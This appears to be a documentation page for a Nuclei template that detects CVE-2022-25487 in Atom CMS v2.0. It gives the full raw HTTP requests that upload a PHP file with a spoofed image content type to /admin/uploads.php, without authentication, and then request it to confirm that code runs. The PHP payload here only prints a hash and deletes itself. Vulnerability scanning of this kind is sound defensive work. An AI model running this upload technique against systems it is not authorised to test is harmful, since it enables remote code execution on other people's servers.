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Atom CMS v2.0 - Remote Code Execution

ID: CVE-2022-25487

Severity: critical

Author: theamanrawat

Tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload

Description

Section titled “Description”

Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.

YAML Source

Section titled “YAML Source”
id: CVE-2022-25487


info:
  name: Atom CMS v2.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
    - https://github.com/thedigicraft/Atom.CMS/issues/256
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25487
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25487
    cwe-id: CWE-434
    epss-score: 0.78706
    epss-percentile: 0.98263
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thedigitalcraft
    product: atomcms
  tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload
variables:
  string: "CVE-2022-25487"


http:
  - raw:
      - |
        POST /admin/uploads.php?id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041


        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"




        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/jpeg




        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------30623082103363803402542706041--
      - |
        GET /uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'


    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - SET avatar = '(.*?)'
        internal: true
# digest: 490a0046304402201f8ca3634bde82706c24a47c89614f2f7de12d56b5e1e81f780850b4ee093c9d02204c6b94bbdea2ea83bd16a4e167f980f1f473fa0e8a864599682b3c4936bbd7c5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25487.yaml"

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